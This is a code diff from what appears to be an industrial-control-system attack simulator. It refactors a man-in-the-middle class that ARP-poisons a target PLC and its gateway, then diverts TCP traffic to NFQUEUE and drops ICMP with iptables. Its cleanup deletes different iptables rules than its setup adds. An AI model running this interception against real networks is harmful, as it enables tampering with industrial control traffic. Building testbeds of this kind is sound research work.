@@ -33,14 +33,6 @@ def __init__(self, intermediate_yaml_path: Path, yaml_index: int):
3333 # Process object to handle nfqueue
3434 self .nfqueue_process = None
3535
36- def clear_ip_tables (self ):
37-
38- os .system (f'iptables -t mangle -D INPUT -p tcp -j NFQUEUE --queue-num 1' )
39- os .system (f'iptables -t mangle -D FORWARD -p tcp -j NFQUEUE --queue-num 1' )
40-
41- os .system ('iptables -D FORWARD -p icmp -j DROP' )
42- os .system ('iptables -D INPUT -p icmp -j DROP' )
43- os .system ('iptables -D OUTPUT -p icmp -j DROP' )
4436
4537 def setup (self ):
4638 """
@@ -55,26 +47,7 @@ def setup(self):
5547
5648 Finally, it launches the thread that will examine all captured packets.
5749 """
58-
59- """"
60- if self.direction == 'source':
61- os.system(f'iptables -t mangle -A PREROUTING -p tcp --sport 44818 -s {self.target_plc_ip} -j NFQUEUE '
62- f'--queue-num 1')
63- elif self.direction == 'destination':
64- os.system(f'iptables -t mangle -A PREROUTING -p tcp --sport 44818 -d {self.target_plc_ip} -j NFQUEUE '
65- f'--queue-num 1 ')
66- else:
67- self.logger.error('Wrong direction configured, direction must be source or destination')
68- raise DirectionError('Wrong direction configured')
69- """
70-
71- self .clear_ip_tables ()
72-
73- os .system (f'iptables -t mangle -A PREROUTING -p tcp -j NFQUEUE --queue-num 1' )
74-
75- os .system ('iptables -A FORWARD -p icmp -j DROP' )
76- os .system ('iptables -A INPUT -p icmp -j DROP' )
77- os .system ('iptables -A OUTPUT -p icmp -j DROP' )
50+ self .modify_ip_tables (True )
7851
7952 # Launch the ARP poison by sending the required ARP network packets
8053 launch_arp_poison (self .target_plc_ip , self .intermediate_attack ['gateway_ip' ])
@@ -116,7 +89,7 @@ def teardown(self):
11689 self .logger .debug (f"MITM Attack ARP Restore between { self .target_plc_ip } and "
11790 f"{ self .intermediate_attack ['gateway_ip' ]} " )
11891
119- self .clear_ip_tables ( )
92+ self .modify_ip_tables ( False )
12093 self .logger .debug (f"Restored ARP" )
12194
12295 self .logger .debug ("Stopping nfqueue subprocess..." )
@@ -132,6 +105,24 @@ def attack_step(self):
132105 pass
133106
134107
108+ @staticmethod
109+ def modify_ip_tables (append = True ):
110+
111+ if append :
112+ os .system (f'iptables -t mangle -A PREROUTING -p tcp -j NFQUEUE --queue-num 1' )
113+
114+ os .system ('iptables -A FORWARD -p icmp -j DROP' )
115+ os .system ('iptables -A INPUT -p icmp -j DROP' )
116+ os .system ('iptables -A OUTPUT -p icmp -j DROP' )
117+ else :
118+
119+ os .system (f'iptables -t mangle -D INPUT -p tcp -j NFQUEUE --queue-num 1' )
120+ os .system (f'iptables -t mangle -D FORWARD -p tcp -j NFQUEUE --queue-num 1' )
121+
122+ os .system ('iptables -D FORWARD -p icmp -j DROP' )
123+ os .system ('iptables -D INPUT -p icmp -j DROP' )
124+ os .system ('iptables -D OUTPUT -p icmp -j DROP' )
125+
135126def is_valid_file (parser_instance , arg ):
136127 """Verifies whether the intermediate yaml path is valid."""
137128 if not os .path .exists (arg ):
0 commit comments